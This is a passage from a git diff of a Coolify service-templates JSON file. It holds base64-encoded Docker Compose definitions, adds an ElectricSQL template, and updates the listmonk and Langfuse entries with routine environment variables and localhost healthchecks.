0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNi4yLjQuMjMnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICAgICAgLSBUWj1FdGMvVVRDCiAgICB2b2x1bWVzOgogICAgICAtICdsaXN0bW9uay1kYXRhOi9saXN0bW9uay91cGxvYWRzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjkwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbGlzdG1vbmstaW5pdGlhbC1kYXRhYmFzZS1zZXR1cDoKICAgIGltYWdlOiAnbGlzdG1vbmsvbGlzdG1vbms6djYuMC4wJwogICAgY29tbWFuZDogJy4vbGlzdG1vbmsgLS1pbnN0YWxsIC0teWVzIC0taWRlbXBvdGVudCcKICAgIHJlc3RhcnQ6ICdubycKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19kYXRhYmFzZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19EQj1saXN0bW9uawogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "newsletter", "mailing list", diff --git a/templates/service-templates.json b/templates/service-templates.json index 85445faf6..768f43985 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0VMRUNUUklDXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOj99JwogICAgICAtICdFTEVDVFJJQ19TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0VMRUNUUklDfScKICAgICAgLSBFTEVDVFJJQ19TVE9SQUdFX0RJUj0vYXBwL3BlcnNpc3RlbnQKICAgICAgLSAnRUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HPSR7RUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdlbGVjdHJpY19kYXRhOi9hcHAvcGVyc2lzdGVudCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwL3YxL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9J